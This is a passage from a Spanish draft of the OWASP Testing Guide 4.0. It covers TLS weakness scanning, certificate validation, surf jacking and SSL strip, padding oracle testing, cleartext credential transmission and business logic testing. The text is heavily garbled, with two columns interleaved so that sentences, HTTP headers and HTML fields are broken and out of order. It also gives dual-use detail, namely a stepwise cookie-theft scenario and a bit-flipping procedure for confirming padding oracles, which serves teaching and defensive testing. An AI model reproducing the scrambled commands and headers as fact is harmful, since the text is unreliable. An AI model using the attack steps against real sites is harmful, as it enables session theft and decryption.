[!] Vulnerability Status: VULNERABLE - Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0
=====================================
Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTGAUTHN-006) http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx
Checking localhost:443 for HTTP elements embedded in SSL page ... ===================================== [!] HTTP elements embedded in SSL page: PRESENT [!] Vulnerable to MITM malicious content injection attack
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...
[!] Vulnerability Status: VULNERABLE
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES --------------- HTTP RESOURCES EMBEDDED --------------- http://othersite/test.js
[!] Vulnerable to Surf Jacking attack mentioned https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
- http://somesite/test.css
[!] Vulnerability Status: VULNERABLE
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 265
in
Guia de pruebas 4.0 "Borrador"
--------------- RAW HTTP RESPONSE ---------------
[!] Vulnerable to MITM attack described in [!] Vulnerable to MITM attack described in
HTTP/1.1 200 OK Date: Wed, 23 Jul 2014 13:48:07 GMT
http://www.isg.rhul.ac.uk/tls/
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
[!] Vulnerability Status: VULNERABLE
X-Powered-By: PHP/5.4.7 Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
=====================================
Content-Length: 193 Connection: close
Checking localhost:443 for TLS 1.1 support ...
Content-Type: text/html Checking localhost:443 for TLS 1.2 support ... ===================================== [*] TLS 1.1, TLS 1.2: SUPPORTED Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...
[*] Immune from BEAST attack mentioned http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
in
[*] Vulnerability Status: No [*] Forward Secrecy: SUPPORTED [*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 [*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.
=====================================
[*] Vulnerability Status: No Loading module: sslyze by iSecPartners ... ===================================== Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE2011-1473,CVE-2011-5094) ... Checking localhost:443 for RC4 support (CVE-2013-2566) ...
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED [!] RC4: SUPPORTED [*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in
Documento Pre-release cortesÃa de Fernando Vela para drangonjar.org 266
Guia de pruebas 4.0 "Borrador"
https://www.thc.org/thc-ssl-dos/
TLS_ECDH_anon_WITH_RC4_128_SHA
[*] Vulnerability Status: No
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA TLS_ECDH_anon_WITH_AES_256_CBC_SHA (TLSv1.0: same as above)
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED
(TLSv1.1: same as above)
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
(TLSv1.2: same as above)
[*] Vulnerability Status: No
[!] LANE ciphers : SUPPORTED ===================================== [!] Attackers may be ABLE to recover encrypted packets. [!] Vulnerability Status: VULNERABLE Loading module: TestSSLServer by Thomas Pornin ... Checking localhost:443 for SSL version 2 support ...
===================================== [*] SSL version 2 : NOT SUPPORTED [*] Immune from SSLv2-based MITM attack [*] Vulnerability Status: No
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...
=====================================
Supported GCM cipher suites against Lucky13 attack:
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...
TLSv1.2 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_GCM_SHA384
Supported LANE cipher suites: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 SSLv3 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 RSA_EXPORT_WITH_RC4_40_MD5 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 RSA_EXPORT_WITH_RC2_CBC_40_MD5 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 RSA_EXPORT_WITH_DES40_CBC_SHA RSA_WITH_DES_CBC_SHA DHE_RSA_EXPORT_WITH_DES40_CBC_SHA [*] GCM/CCM ciphers : SUPPORTED DHE_RSA_WITH_DES_CBC_SHA [*]
Immune
from
Lucky13
attack
mentioned
in
Documento Pre-release cortesÃa de Fernando Vela para drangonjar.org 267
Guia de pruebas 4.0 "Borrador"
http://www.isg.rhul.ac.uk/tls/Lucky13.html [*] Vulnerability Status: No
=====================================
Checking localhost:443 for TLS Compression support against CRIME (CVE2012-4929) & TIME attack ...
[*] TLS Compression : DISABLED
Estos controles deben aplicarse a todos los canales de comunicación SSLwrapped visibles utilizados por la aplicación. Aunque este es el servicio https que generalmente se ejecuta en el puerto 443, puede haber servicios adicionales involucrados dependiendo de la arquitectura de las aplicaciones web y de los problemas de implementación (si queda un puerto HTTPS administrativo abierto, servicios HTTPS en puertos no estándar, etc.).
Por lo tanto, se aplican estos controles a todos los puertos SSL-wrapped que se han descubierto. Por ejemplo, el scanner nmap ofrece un modo de exploración (activado por el interruptor de línea de comandos – sV) que identifica servicios SSL-wrapped. El escáner de vulnerabilidades Nessus tiene la capacidad de realizar comprobaciones SSL en todos los servicios SSL/TLSwrapped.
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beerywp.pdf Ejemplo 1. Prueba de la validez del certificado (manualmente) [*] Vulnerability Status: No
En lugar de proporcionar un ejemplo ficticio, esta guía incluye un ejemplo anónimo de la vida real para subrayar cuán a menudo uno tropieza con sitios https cuyos certificados son inexactos con respecto a su denominación. Las siguientes capturas de pantalla se refieren a un sitio regional de una empresa de IT de alto perfil.
=====================================
[+] Breacher finished scanning in 12 seconds.
Estamos visitando un sitio de .it y el certificado fue emitido para un sitio .com. Internet Explorer advierte que el nombre del certificado no coincide con el nombre del sitio.
[+] Get your latest copy at http://yehg.net/
Prueba de la validez de los certificados SSL - de clientes y servidores En primer lugar, actualice el navegador porque caducan los certificados CA y en cada versión del navegador estos se renuevan. Examine la validez de los certificados utilizados por la aplicación. Los navegadores emitirán una advertencia cuando encuentren certificados expirados, emitidos por CA no confiables y/o que no coincidan el nombre con el sitio al que debe referirse.
Haga clic sobre el candado que aparece en la ventana del navegador cuando visita un sitio HTTPS; los evaluadores pueden consultar información relacionada con el certificado que incluye al emisor, el período de validez, las características de cifrado, etc.
Si la aplicación requiere un certificado del cliente, el evaluador tendrá que instalar uno para acceder a ésta. La información del certificado está disponible en el navegador mediante la inspección de los correspondientes certificados en la lista de certificados instalados.
Advertencia emitida por Microsoft Internet Explorer
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 268
Guia de pruebas 4.0 "Borrador"
El mensaje emitido por Firefox es diferente. Firefox se queja porque no puede determinar la identidad del sitio .com al que el certificado se refiere porque no conoce la CA que firmó el certificado.
De hecho, Internet Explorer y Firefox no vienen precargados con la misma lista de CA. Por lo tanto, puede variar el comportamiento con diferentes navegadores.
• La victima se registra en una página web segura https://somesecuresite/. • La página web segura emite una cookie de sesión cuando el cliente se conecta. • Mientras está conectado, la víctima abre una nueva ventana de navegación y va a http://examplesite/ • Un atacante sentado en la misma red es capaz de ver el tráfico transparente en http://examplesite. • El atacante envía un “301 Moved Permanently” en respuesta al tráfico transparente en http://examplesite. La respuesta contiene el encabezado “Location: http://somesecuresite /”, lo que hace parecer que examplesite está enviando al navegador hacia somesecuresite. Note que el esquema de la URL is HTTP y no HTTPS. • El navegador de la víctima inicia una nueva conexión con texto transparente con http://somesecuresite/ y envía una solicitud HTTP que contiene la cookie en el encabezado HTTP en texto transparente. • El atacante ve este tráfico y registra la cookie para su uso posterior.
Para comprobar si una web es vulnerable, realice las siguientes pruebas:
Advertencia emitida por Mozilla Firefox
[1] Revise si el sitio web soporta protocolos HTTP y HTTPS. [2] Revise si las cookies no tienen banderas de “Seguridad”.
Prueba de otras vulnerabilidades Como se mencionó anteriormente, existen otros tipos de vulnerabilidades que no están relacionadas con el protocolo SSL/TLS utilizado, las suites de cifrado o certificados.
Aparte de otras vulnerabilidades que se discuten en otras partes de esta guía, existe una vulnerabilidad cuando el servidor proporciona al sitio web los protocolos HTTP y HTTPS y permite a un atacante forzar a una víctima a utilizar un canal no seguro en lugar de uno seguro.
SSL Strip Algunas aplicaciones soportan HTTP y HTTPS, ya sea por el uso o porque lo usuarios pueden escribir ambas direcciones y acceder al sitio. A menudo los usuarios entran en un sitio web de HTTPS por un enlace o una redirección.
Los sitios de banca personal tienen una configuración similar, con un registro de iframed o un formulario con un atributo de acción sobre HTTPS, pero la página en HTTP.
Surf Jacking (Secuestro de navegación) El ataque de Surf Jacking [7] fue presentado primero por Sandro Gauci y permite a un atacante secuestrar una sesión HTTP, incluso cuando la conexión de la víctima está cifrada mediante SSL o TLS.
Un atacante en una posición privilegiada - como se describe en SSL strip [8] puede interceptar el tráfico cuando el usuario está en el sitio http y manipularlo para obtener un ataque de Man In The Middle en HTTPS. Una aplicación es vulnerable si es compatible con HTTP y HTTPS.
El siguiente es un escenario de cómo puede ocurrir el ataque:
Pruebe mediante un proxy HTTP
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 269
Guia de pruebas 4.0 "Borrador"
Dentro de entornos corporativos, los evaluadores pueden ver los servicios que no son directamente accesibles y pueden acceder a ellos a través del proxy HTTP mediante el método CONNECT [36].
Ejemplo 10: Apache Para revisar las suites y protocolos de cifrado soportados por el servidor
La mayoría de las herramientas no funcionan en este escenario porque tratan de conectarse al puerto tcp deseado para iniciar el protocolo de conexión SSL/TLS. Con la ayuda de software de reinstalación como socat, [37] los probadores pueden activar esas herramientas para usarlas con los servicios detrás de una proxy HTTP.
web Apache2, abra el archivo ssl.conf SSLCipherSuite, SSLProtocol, SSLInsecureRenegotiation y SSLCompression.
y
busque las directivas SSLHonorCipherOrder,
Prueba de la validez de los certificados SSL - de clientes y servidores Ejemplo 8. Pruebe mediante un proxy HTTP Para conectarse con destined.application.lan:443 mediante un 10.13.37.100:3128 ejecute socat como sigue:
proxy
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
Examine la validez de los certificados utilizados por la aplicación a nivel de cliente y servidor. El uso de los certificados es principalmente a nivel del servidor web, sin embargo, puede haber rutas de comunicación protegidas por SSL (por ejemplo, hacia el DBMS). Los evaluadores deben revisar la arquitectura de las aplicaciones para identificar todos los canales SSL protegido.
Herramientas Entonces el evaluador puede apuntar todas las demás herramientas hacia localhost:9999:
• [21][Qualys SSL Labs - SSL Server Test: ssllabs.com
$ openssl s_client -connect localhost:9999
• [27] [Tenable - Nessus Vulnerability Scanner tenable.com: incluye algunos plugins para probar diferentes vulnerabilidades relacionadas con SSL, certificados y la presencia de autenticación HTTP básica sin SSL.
Todas las conexiones a localhost:9999 serán efectivamente retransmitidas por socat mediante un proxy hacia destined.application.lan:443.
• [32] [TestSSLServer: bolet.org]: un scanner java - y también un ejecutable de windows - incluye pruebas para suites de cifrado, CRIME y BEAST • [33] [sslyze: github.com]: es un script python para revisar vulnerabilidades en SSL/TLS.
Revisión de la configuración • [28] [SSLAudit | code.google.com: un escáner ejecutable con un script perl /windows de acuerdo a la guía Qualys SSL Labs Rating Guide.
Prueba de las suites de cifrado SSL/TLS débiles Compruebe la configuración de los servidores web que ofrecen servicios de https. Si la aplicación web proporciona otros servicios SSL/TLS wrapped, éstos deben comprobarse también.
• [31] [nmap | nmap.org]: puede ser utilizado primeramente para identificar servicios basados en SSL y luego verificar el certificado y vulnerabilidades SSL/TLS. Particularmente tiene algunos scripts para revisar [Certificate and SSLv2 | nmap.org] y [SSL/TLS protocols/ciphers | nmap.org] soportados con un rango interno.
Ejemplo 9. Windows Server Revise la configuración en Microsoft Windows Server (2000, 2003 y 2008) usando la clave de registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr oviders\SCHANNEL\
que tiene algunas KeyExchangeAlgorithms.
subclaves
• [29] [SSLScan | sourceforge.net [SSL Tests | pentesterscripting.com l_tests]: un SSL Scanner y un wrapper para enumerar las vulnerabilidades SSL.
como
cifras,
protocolos
y
• [30] [curl | curl.haxx.se] y [openssl | openssl.org]: pueden ser usados para consultas manuales de servicios SSL/TLS • [9] [Stunnel | stunnel.org]: una clase notable de clientes SSL es aquella de los proxies SSL como stunnel que puede utilizarse para permitir que herramientas activas de no SSL se comuniquen con los servicios SSL) • [37] [socat | dest-unreach.org]: relay multipropósito
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 270
Guia de pruebas 4.0 "Borrador"
• [38] [testssl.sh | testssl.sh ]
• [14] [Qualys SSL Labs - SSL Server Rating Guide | ssllabs.com] • [20] [Qualys SSL Labs SSL Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]
Threat
Referencias • [18] [Qualys SSL Labs - Forward Secrecy | Recursos OWASP community.qualys.com] • [5] [Guía de pruebas OWASP - Pruebas de los atributos de las cookies (OTG-SESS-002) | owasp.org] • [4][ Guía de pruebas OWASP - Pruebe la configuración de la infraestructura y la red (OTG-CONFIG-001) | owasp.org]
• [15] [Qualys SSL Labs - RC4 Usage | community.qualys.com] • [16] [Qualys SSL Labs - BEAST | community.qualys.com] • [17] [Qualys SSL Labs - CRIME | community.qualys.com]
• [6] [Guía de pruebas OWASP - Pruebe el HTTP Strict Transport Security (OTG-CONFIG-007) | owasp.org] • [2] [Guía de pruebas OWASP - Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003) | owasp.org]
• [7] [SurfJacking attack|resources.enablesecurity.com] • [8] [SSLStrip attack | thoughtcrime.org] • [19] [PCI-DSS v2.0 | pcisecuritystandards.org]
• [3] [Guía de pruebas OWASP - Pruebas del transporte de credenciales en un canal encriptado (OTG-AUTHN-001) | owasp.org]
• [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| springer.com]
• [22] [OWASP Cheat sheet - Transport Layer Protection | owasp.org ] Prueba del Padding Oracle (Relleno de Oracle)(OTG-CRYPST-002) • [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure |owasp.org] Resumen • [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection | owasp.org] • [25] [OWASP ASVS 2009 - Verification 10 | code.google.com]
Un padding oracle es una función de la aplicación que decodifica datos encriptados que proporciona el cliente, por ejemplo, estado de sesión interna almacenado en el cliente y fuga el estado de la validez del padding después de descifrado.
• [26] [OWASP Application Security FAQ - Cryptography/SSL | owasp.org]
Libros Blancos • [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176) |
La existencia de un padding oracle permite a un atacante descifrar datos encriptados y cifrar datos arbitrarios sin conocer la clave utilizada para estas operaciones criptográficas. Esto puede llevar a la fuga de datos sensibles o a una vulnerabilidad de privilegios escalada si la aplicación asume la integridad de los datos cifrados.
ietf.org] • [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|] • [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions | ietf.org] • [11] [SSLv2 Protocol Multiple Weaknesses | osvdb.org] • [12] [Mitre - TLS Renegotiation MiTM | cve.mitre.org]
Los bloques de cifrado encriptan los datos en bloques de tamaños determinados. Los tamaños de bloque utilizados por los cifradores comunes son de 8 y 16 bytes. Los datos cuyo tamaño no coincide con un múltiplo del tamaño del bloque de cifrado usado, tienen que rellenarse de una forma específica para que el decodificador pueda eliminar el padding. Un esquema común de padding utilizado es PKCS #7. Llena los bytes restantes con el valor de la longitud del padding.
• [13] [Qualys SSL Labs - TLS Renegotiation DoS | Ejemplo: community.qualys.com] • [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices | ssllabs.com]
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 271
Guia de pruebas 4.0 "Borrador"
Si el padding tiene la longitud de 5 bytes, el valor del byte 0 x 05 se repite cinco veces después del texto.
Primero deben identificarse los puntos de entrada posibles para los padding oracles. Generalmente deben cumplirse las siguientes condiciones:
Una condición de error está presente si el padding no coincide con la sintaxis del esquema de padding usado. Un padding oracle está presente si una aplicación filtra esta condición de error de padding específico para datos cifrados proporcionados por el cliente.
[1] Los datos están codificados. Son buenos candidatos los valores que parecen aleatorios.
Esto puede ocurrir exponiendo las excepciones (e.g. BadPaddingException en Java) directamente, por diferencias sutiles en las respuestas enviadas al cliente o por otro canal lateral como comportamiento de sincronización.
[2] Se utiliza un cifrado de bloque. La longitud del texto cifrado decodificado (Base64 se utiliza a menudo); es un múltiplo de los tamaños de bloque de cifrado comunes como 8 o 16 bytes. Los diferentes textos de cifrado (por ejemplo, reunidos en diferentes sesiones o manipulando el estado de la sesión) comparten un divisor común en la longitud.
Ejemplo: Ciertos modos de operación criptográfica permiten ataques de bit-flipping, donde voltear un bit en el texto de cifrado hace que el bit también se voltee en el texto simple.
Dg6W8OiWMIdVokIDH15T/A== resulta despues de decodificar Base64 en 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. Esto parece ser aleatorio y con una longitud de 16 bytes.
Voltear un bit en el enesimo bloque en los datos encriptados de CBC causa que el mismo bit en el (enesimo+1) bloque se voltee en los datos descifrados. El enesimo bloque del texto cifrado que se decodifica es inhabilitado con esta manipulación.
Si se identifica un valor ingresado que es un buen candidato, debe verificarse el comportamiento de la aplicación con la manipulación del valor codificado en referencia al bit.
El ataque de padding oracle permite que un atacante descifre datos codificados sin el conocimiento de la clave de cifrado y el cifrado utilizado mediante el envío de textos, hábilmente manipulados, de cifrado al padding oracle y observa los resultados devueltos por este.
Normalmente este valor Base64 codificado incluirá el vector de inicialización (IV) que se antepone al texto cifrado. Dado un texto plano p y un cifrado con un bloque de tamaño n, el número de bloques será b = ceil (length(b) / n).
Esto causa la pérdida de confidencialidad de los datos cifrados. Por ejemplo, en el caso de datos de sesión almacenados en el lado del cliente, el atacante puede obtener información sobre el estado interno y la estructura de la aplicación.
La longitud de la cadena cifrada será y=(b+1)*n debido al vector de inicialización. Para verificar la presencia del oráculo, decodifique la cadena, cambie el último bit del penúltimo bloque b-1 (el bit menos significativo del byte en y-n-1), vuelva a codificar y envíe. A continuación, decodifique la cadena original, cambie el último bit del bloque b-2 (el bit menos significativo del byte en y-2*n-1), vuelva a codificar y envíe.
Un ataque de padding oracle también permite a un atacante cifrar textos arbitrarios simples sin el conocimiento de la clave usada y el cifrado. Si la aplicación asume como correcta la integridad y autenticidad de los datos descifrados, un atacante podría ser capaz de manipular el estado de sesión interna y posiblemente obtener mayores privilegios.
Si se sabe que la cadena cifrada es un solo bloque (el IV se almacena en el servidor o la aplicación está utilizando una mala práctica de codificado de IV), varios cambios de bits deben realizarse en turnos. Un enfoque alternativo sería anteponer un bloque al azar y cambiar bits para hacer que el último byte del bloque añadido tome todos los valores posibles (0 a 255).
Cómo probar
Las pruebas y el valor base deben causar al menos tres diferentes estados durante y después del descifrado:
Pruebas de Caja Negra Prueba para determinar las vulnerabilidades de padding oracle:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 272
Guia de pruebas 4.0 "Borrador"
• Se consigue descifrar el texto cifrado; los datos resultantes son correctos. • Se consigue descifrar el texto cifrado, los datos resultantes son confusos y causan algunas excepciones y errores de manejo en la lógica de la aplicación.
[1] La integridad del texto cifrado debe ser verificada por un mecanismo seguro, como HMAC o con formas de autenticar la operación de cifrado como GCM o CCM.
• Falla el descifrado del texto debido a errores de padding. [2] Todos los estados de error durante la decodificación y el posterior procesamiento son manejados uniformemente. Compare las respuestas con cuidado. Busque sobre todo las excepciones y los mensajes que indican que algo está mal con el padding. Si aparecen estos mensajes, la aplicación contiene un oracle padding.
Herramientas • PadBuster: github.com
Si los tres estados diferentes descritos anteriormente son implícitamente observables (mensajes de error diferentes, tiempos del lado de los canales), hay una alta probabilidad de que en este momento hay un oracle padding presente. Trate de realizar el ataque de oracle padding para confirmarlo.
• python-paddingoracle: github.com • Poracle: github.com • Padding Oracle Exploitation Tool (POET): netifera.com
Ejemplos: Ejemplos • Visualización del proceso de decodificación: erlend.oftedal.no • ASP.NET lanza la excepción “System.Security.Cryptography.Cryptographic Exception: Padding is invalid and cannot be removed.” si el padding del texto cifrado que se decodificó está roto. Referencias Libros Blancos • En Java, una excepción javax.crypto.BadPaddingException se lanza en este caso.
• Wikipedia - Padding oracle attack: en.wikipedia.org • Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks”: usenix.org
• Errores de decodificación o similares son posibles padding oracles. Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003) Resultados esperados: Resumen Una implementación de seguridad revisará la integridad y causará sólo dos respuestas: ok y failed. No hay ningún canal lateral que se pueda utilizar para determinar el estado de los errores internos.
Pruebas de Caja Negra
Los datos sensibles deben ser protegidos al transmitirse a través de la red. Si los datos se transmiten a través de HTTPS o cifrados de alguna otra manera, el mecanismo de protección no debe tener limitaciones o vulnerabilidades, como se explica en el artículo más amplio. Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001) [1] y en otra documentación OWASP [2], [3], [4], [5].
Prueba para determinar las vulnerabilidades de padding oracle: Verifique que todos los lugares donde están codificados los datos del cliente, que sólo deben ser conocido por el servidor, se encuentran decodificados. Dicho código debe cumplir las siguientes condiciones:
Como regla general, si los datos deben protegerse cuando se almacenan, estos datos también deben protegerse durante la transmisión. Algunos ejemplos de datos sensibles son:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 273
Guia de pruebas 4.0 "Borrador"
<html><head><title>401 Authorization Required</title></head> • Información utilizada en la autenticación (por ejemplo credenciales, PINs, identificadores de sesión, Fichas, Cookies…)
<body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login credentials! </body></html>
• Información protegida por leyes, regulaciones o políticas organizacionales específicas (por ejemplo, tarjetas de credito, datos del cliente ). Ejemplo 2: Autenticación basada en formularios mediante HTTP
Si la aplicación transmite información sensible a través de canales sin codificar - por ejemplo, HTTP - se considera un riesgo de seguridad. Algunos ejemplos son de autenticación básica que envía credenciales de autenticación en texto simple mediante HTTP, credenciales de autenticación basadas en formularios enviados mediante HTTP, o la transmisión de texto simple o cualquier otra información considerada sensible de acuerdo a normas, leyes, política organizacional o lógica de la aplicación del negocio.
Otro ejemplo típico son los formularios de autenticación que transmiten credenciales de autenticación del usuario mediante HTTP. En el siguiente ejemplo puede ver en HTTP el uso del atributo "action" del formulario. También es posible ver este tema examinando el tráfico HTTP con un proxy de intercepción.
<form action=”http://example.com/login”> <label for=”username”>User:</label> id=”username” name=”username” value=””/><br />
Cómo probar Diversos tipos de información que deben ser protegidos podrían transmitirse mediante la aplicación en texto claro. Es posible verificar si esta información se transmite a través de HTTP en lugar de HTTPS, o si se utilizan cifrados débiles. Para mayor información acerca de la transmisión insegura de credenciales, vea el Top 10 2013-A6-Sensitive Data Exposure [3] o protección insuficiente de la capa de transporte en general Top 10 2010-A9-Insufficient Transport Layer Protection [2].
<input
<label for=”password”>Password:</label> type=”password” id=”password” name=”password” value=””/>
type=”text”
<input
<input type=”submit” value=”Login”/> </form>
Ejemplo 3: Cookie que contiene un identificador de sesión enviado por HTTP Ejemplo 1: Autenticación básica en HTTP Un ejemplo típico es el uso de una autenticación básica en HTTP. Cuando se utiliza una autenticación básica, se codifican las credenciales de usuario en lugar de encriptarlas y se envían como encabezados HTTP. En el ejemplo siguiente, el evaluador usa curl [5] para evaluar este tema. Note cómo la aplicación utiliza la autenticación básica y HTTP en lugar de HTTPS
La Cookie del identificador de sesión debe ser transmitida en canales protegidos. Si la cookie no tiene la bandera de seguridad [6] se permite a la aplicación transmitirla sin encriptar. Note a continuación que la programación de la cookie se realiza sin la bandera de seguridad, y todo el proceso de registro se realiza en HTTP y no HTTPS..
curl -kis http://example.com/restricted/ https://secure.example.com/login HTTP/1.1 401 Authorization Required Date: Fri, 01 Aug 2013 00:00:00 GMT WWW-Authenticate: Basic realm=”Restricted Area”
POST /login HTTP/1.1 Host: secure.example.com
Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 162
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Content-Type: text/html
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 274
Guia de pruebas 4.0 "Borrador"
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://secure.example.com/
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 188
Referer: https://secure.example.com/login Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
HTTP/1.1 302 Found
Connection: keep-alive
Date: Tue, 03 Dec 2013 21:18:55 GMT Server: Apache
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Pragma: no-cache
Expires: 0
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com; httponly
Content-Type: text/html;charset=UTF-8
Location: private/
Date: Tue, 25 Dec 2013 00:00:00 GMT
X-Content-Type-Options: nosniff
----------------------------------------------------------
Content-Length: 730
X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
Herramientas
Content-Length: 0
• [5] curl puede ser usado para revisar cómo buscar páginas manualmente
Keep-Alive: timeout=1, max=100 Connection: Keep-Alive
Referencias
Content-Type: text/html
Recursos OWASP • [1] Guía de Pruebas OWASP - Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001)
---------------------------------------------------------http://example.com/private
GET /private HTTP/1.1
• [2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection
• [3] OWASP TOP 10 2013 - Sensitive Data Exposure
Host: example.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
• [4] OWASP ASVS v1.1 - V10 Communication Security Verification Requirements
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 275
Guia de pruebas 4.0 "Borrador"
• [6] Guía de pruebas OWASP - Pruebas de los atributos de las cookies (OTGSESS-002)
No se pueden automatizar los casos de abuso en la lógica del negocio y siguen siendo un arte manual que depende de las habilidades del evaluador y de un conocimiento completo de los procesos del negocio y sus normas.
Restricciones y límites de negocio Prueba de la lógica del negocio Resumen Para probar las fallas en la lógica del negocio en una aplicación web dinámica y multifuncional, se requiere pensar en métodos no convencionales. Si el mecanismo de autenticación de la aplicación está desarrollado con la intención de realizar los pasos 1, 2, 3, en ese orden específico para autenticar un usuario, ¿qué sucede si el usuario va del paso 1 directamente al paso 3?
Considere las reglas para la función del negocio que proporciona la aplicación. ¿Existen límites o restricciones en el comportamiento de las personas? Entonces considere si la aplicación hace cumplir esas normas. Generalmente es bastante fácil identificar los casos de prueba y análisis para verificar si la aplicación está familiarizada con el negocio.
Si usted es un evaluador externo, entonces va a tener que usar su sentido común y preguntar al negocio si las diferentes operaciones se deben permitir por parte de la aplicación. En este ejemplo simple, ¿ la aplicación da acceso al no poder abrir, niega el acceso, o solo manda un error con un mensaje 500?
Hay muchos ejemplos que se pueden dar, pero la lección constante es "pensar fuera del conocimiento común". Este tipo de vulnerabilidad no puede ser detectada por un escáner de vulnerabilidad y se basa en las habilidades y creatividad del evaluador de penetración.
A veces, en aplicaciones muy complejas, el evaluador no tendrá el conocimiento completo de cada aspecto de la aplicación inicialmente. En estas situaciones, es mejor que el cliente dirija al evaluador a través de la aplicación para poder tener una mejor comprensión de los límites y la funcionalidad prevista de la aplicación, antes de empezar la prueba real. Además, tener una línea de comunicación directa con los desarrolladores (si es posible) durante la prueba es de gran ayuda, por si aparecen preguntas con respecto a la funcionalidad de la aplicación.
Además, este tipo de vulnerabilidad suele ser una de las más difíciles de detectar y, generalmente, es específica de la aplicación, pero, al mismo tiempo, uno de los más perjudiciales para la aplicación si se explota. Descripción del problema
La clasificación de las fallas en la lógica del negocio no han sido estudiadas a fondo; aunque la explotación de las fallas de negocio suceden con frecuencia en los sistemas del mundo real, y muchos investigadores de vulnerabilidades aplicadas las investigan.
A las herramientas automatizadas les resulta difícil comprender el contexto, por lo tanto, depende de una persona el llevar a cabo este tipo de pruebas. Los siguientes dos ejemplos ilustran cómo el entender la funcionalidad de la aplicación, las intenciones del desarrollador y un pensamiento creativo "fuera de la caja" pueden romper la lógica de la aplicación.
El mayor enfoque es en aplicaciones web. Hay un debate dentro de la comunidad acerca de si estos problemas representan particularmente nuevos conceptos, o si son variantes de principios bien conocidos.
El primer ejemplo comienza con una manipulación simple del parámetro, mientras que el segundo es un ejemplo del mundo real de un proceso que conduce a subvertir completamente la aplicación.
La prueba de fallas en la lógica del negocio es similar a los tipos de prueba utilizados por evaluadores funcionales que se enfocan en la prueba de estado lógico o finito. Estos tipos de pruebas requieren que los profesionales de la seguridad piensen un poco diferente, desarrollen casos de abuso y mal uso y usen muchas de las técnicas de prueba adoptadas por los evaluadores funcionales.
